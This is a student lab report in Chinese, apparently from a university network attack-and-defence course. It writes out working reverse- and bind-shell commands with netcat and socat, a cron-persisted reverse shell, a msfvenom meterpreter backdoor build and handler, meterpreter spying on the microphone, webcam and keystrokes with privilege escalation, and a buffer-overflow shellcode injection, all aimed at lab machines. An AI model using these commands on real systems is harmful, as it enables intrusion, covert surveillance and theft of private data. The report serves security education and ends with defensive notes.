20232311 2025-2026-1 《网络与系统攻防技术》实验二实验报告

后门原理与实践

一、实验内容

  • netcat工具的双向Shell获取:分别实现Windows监听、Linux反弹连接,以及Linux监听、Windows反弹连接,同时通过Linux的cron定时任务配置,让后门按预设时间自动触发连接。
  • socat工具的定时Shell控制:在Windows系统中创建任务计划,将cmd.exe绑定到指定端口,Linux通过socat连接该端口,获取Windows的命令行控制权。
  • MSF meterpreter后门生成与控制:使用msfvenom生成Windows平台的可执行后门程序,通过nc传送到目标主机,再利用msfconsole的监听模块,在后门运行后获取目标主机的Shell。
  • MSF meterpreter的深度控制功能:基于已获取的Shell,实现音频录制、摄像头拍照、击键记录、屏幕截图等隐私窃取操作,尝试权限提升(getsystem命令),并体验进程交互、文件上传下载等系统控制功能。
  • Shellcode注入与缓冲区溢出利用:获取Linux/x86平台的反弹连接Shellcode,结合前期实验中的pwn1文件,通过缓冲区溢出漏洞将Shellcode注入,触发后实现本地反弹连接,获取Shell。

二.实验过程

1.使用netcat获取主机操作shell,cron启动某项任务

1.1Windows获取Linux主机操作shell,cron启动

  • Windows进行监听,Linux进行反弹连接;
  • (1)打开Windows的cmd窗口,cd到netcat的目录下输入:.\ncat.exe -l -p 8888,表示开始监听8888端口。
    屏幕截图 2025-10-13 180913
  • (2)在kali中输入nc 192.168.3.57 8888 -e /bin/sh,这时候Windows的cmd窗口里就获取了linux的shell了。
    屏幕截图 2025-10-13 180923
  • (3)cron启动
    • cron是linux中的定时任务,每分钟运行一次,可以更改其配置文件以执行预设指令。
    • 这里在Linux中配置cron,它启动时定时反弹连接Windows。
    • 在kali中使用crontab -e指令去增加定时任务,因为最熟悉nano,所以这里提示选择1进行编辑操作;
      屏幕截图 2025-10-13 194720
    • 对配置文件进行最后一行的增添,并使用crontab -l展示修改过后的配置内容;
      屏幕截图 2025-10-13 200506
      屏幕截图 2025-10-13 200521
    • 修改配置之后说明每个小时的第6分钟,kali中就会自动执行那条指令。在此之前在Windows的cmd窗口针对5566端口进行监听,到这小时的第六分钟,Windows就可获得kali的后门。
      屏幕截图 2025-10-13 200638

1.2Linux获取Windows主机操作shell

  • Linux进行监听,Windows进行反弹连接;
  • (1)在Windows中输入命令.\ncat -e cmd -lvp 5566启动监听,在本地5566端口以详细模式监听TCP连接,并在连接建立之后执行系统命令行;
  • (2)在kali中通过命令nc 192.168.3.57 5566主动连接到Windows机器的5566端口,连接成功后,Kali机器获得了Windows机器的命令行控制权(如执行dir命令查看 Windows 目录);
    屏幕截图 2025-10-13 182411

2.使用socat获取主机操作Shell, 任务计划启动

  • 这说明Windows是被攻击者,并要求是定时被攻击。
  • (1)在Windows中打开计算机管理并在任务计划程序中创建任务,在操作->程序或脚本中选择socat.exe文件的路径,在添加参数一栏填写tcp-listen:2311 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口2311,同时把cmd.exe的stderr重定向到stdout上
    屏幕截图 2025-10-13 223503
  • (2)创建完成之后,看到任务(20232311zfz)处于准备就绪状态
    屏幕截图 2025-10-13 223521
  • (3)运行创建的任务,并在Kali环境下输入指令socat - tcp:192.168.3.57:2311,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的2311端口,此时可以发现已经成功获得了一个cmd shell。
    屏幕截图 2025-10-13 224950

3.使用MSF meterpreter生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell

  • 在kali中使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.117 LPORT=2311 -f exe > 20232311_backdoor.exe生成后门;
    屏幕截图 2025-10-13 231359
  • 通过nc指令将生成的后门程序传送到Windows主机上;
    屏幕截图 2025-10-13 231347
    image
  • 在Kali上使用msfconsole指令进入msf控制台;
    • 输入命令use exploit/multi/handler使用监听模块;
    • 使用和生成后门程序时一样的payload,set payload windows/meterpreter/reverse_tcp
    • 输入命令set LHOST 192.168.56.117,这里使用的是和生成后门程序时指定的Linux的IP一样
    • 输入命令,使用同样的端口set LPORT 2311
      屏幕截图 2025-10-13 231539
    • 使用命令show options查看一下当前模块和载荷的配置项
      屏幕截图 2025-10-13 231547
    • 设置完成之后执行监听exploit
  • 运行Windows下的后门程序,此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
    屏幕截图 2025-10-13 231732

4.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

  • 使用record_mic指令截获一段音频,-d选项可以设置录制时间:
    屏幕截图 2025-10-14 123122
  • 使用webcam_snap指令使用摄像头进行拍照,但是其实在电脑侧面可以物理关闭摄像头:
    31d3a720fdd691709c8eeae72cdd5a21
    屏幕截图 2025-10-14 123316
  • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录,使用keyscan_stop结束操作
    屏幕截图 2025-10-14 123719
    屏幕截图 2025-10-14 123930
  • 使用screenshot指令可以进行截屏,效果如下:
    屏幕截图 2025-10-14 124600
    屏幕截图 2025-10-14 124632
  • 尝试提权,先使用getuid指令查看当前用户,使用getsystem指令进行提权;
    屏幕截图 2025-10-14 124946
  • 使用命令sysinfo获得目标系统的信息,机器名、操作系统等,并使用ps获得受害者机上运行的进程信息;
    屏幕截图 2025-10-14 125207
  • 体验execute命令,输入execute -H -i -f cmd.exe直接与win的cmd.exe交互,得到下图所示的shell
    屏幕截图 2025-10-14 125521
  • 体验upload/download命令,
    屏幕截图 2025-10-14 130148
    屏幕截图 2025-10-14 130234
    屏幕截图 2025-10-14 131419

5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 这一步的要求是生成shellcode,注入pwn1文件,运行pwn1文件,pwn1进程经过缓冲区溢出后返回到shellcode的起始地址,然后开始去反弹连接攻击者,攻击者获得受害者的shell(这里面攻击者和受害者都是kali)
  • 在shellcode网站找到linux/x86平台的、反弹连接的shellcode,下载,复制出里面的机器码;
    屏幕截图 2025-10-14 151456
  • 参考实验一的操作找到shellcode的起始地址0xffffd460并加在这段shellcode前面,并用其生成input文件;
    屏幕截图 2025-10-14 153920
    屏幕截图 2025-10-14 153934
  • 在另一个终端中打开msfconsole,并打开监听;
    屏幕截图 2025-10-14 153841
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1 
set LPORT 4444          //根据shellcode来的
show options
exploit
  • 在原终端(cat input_shellcode20232311;cat) | ./2311pwn运行pwn1并回车,另一边就可以得到shell了。
    屏幕截图 2025-10-14 153939
    屏幕截图 2025-10-14 153905
    攻击成功!

问题及解决方案

  • 1.问题1:在刚开始进行实验的时候,发现linux无法获取Windows的shell,猜测是Linux的IP地址有问题
    问题1的解决:在Windows主机上ping我原认为的linux的IP,发现ping不通,之后查阅虚拟机设置发现是网卡设置错误,更改网卡设置为网卡1仅主机,网卡2网络地址转换(NAT),且两个网卡都要使用。更改后得到正确IP:192.168.56.117
    屏幕截图 2025-10-13 164704
    屏幕截图 2025-10-13 182005
  • 2.问题2:在进行最后一个任务时,shellcode并没有发挥作用
    问题2的解决:我想应该是修改机器码的时候出现细节上的错误,因为重做一遍就成功了。

回答问题

(1)例举你能想到的一个后门进入到你系统中的可能方式?

  • 攻击者利用未修复的操作系统或应用软件漏洞(如缓冲区溢出、远程代码执行漏洞等),向目标系统发送特制数据包,触发漏洞并植入后门程序,从而未经授权进入系统。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

  • Windows系统中,后门可通过修改注册表启动项(如写入Run键值)、创建计划任务(设置触发条件自动执行)或伪装成系统服务(设为自动启动)启动;Linux系统则可利用crontab定时任务(添加周期性执行命令)、rc.local启动脚本(系统启动时运行)或修改环境变量(让后门优先被调用)实现启动。

(3)Meterpreter有哪些给你映像深刻的功能?

  • 进程迁移(将会话转移到稳定系统进程避免被查杀)
  • 权限提升(通过 getsystem 等命令获取更高权限)
  • 摄像头与麦克风控制(远程劫持硬件设备)
  • 文件系统操作(便捷上传下载文件、篡改系统文件)
    这些功能使其能深度控制目标系统。

(4)如何发现自己有系统有没有被安装后门?

  • 查看任务管理器或ps命令中的异常进程
  • 检查启动项、定时任务和服务中的可疑条目
  • 用netstat等工具监控与未知 IP 的网络连接,对比系统关键文件的哈希值是否异常,同时留意系统是否出现卡顿、异常弹窗等反常现象

学习感悟与思考

  • 做实验的时候最大的感受就是,真的特别挑细节。之前网卡配置错了,IPping不通,折腾半天连不上;后来弄Shellcode,就因为改机器码时差了一点点,第一次直接失败,最后重做才成。原来不管是工具命令里的端口号,还是虚拟机的网络设置,哪怕一个小地方错了,整个流程都走不下去,这也让我知道了搞安全技术真的不能马虎。
  • 另外就是做完实验,我反而更清楚该怎么防后门了。比如之前觉得定时任务、启动项这些东西不起眼,现在才知道这都是后门藏着启动的常用路子;还有meterpreter能随便调用摄像头、记键盘,也提醒我平时不用这些硬件的时候得关了权限,甚至是物理上进行关闭。学攻击的过程,也是在学怎么防御,以后自己用电脑,肯定会多留意进程、网络连接这些地方,免得真被留了后门。
posted @ 2025-10-20 18:41  20232311朱峰正  Views(14)  Comments(0)    收藏  举报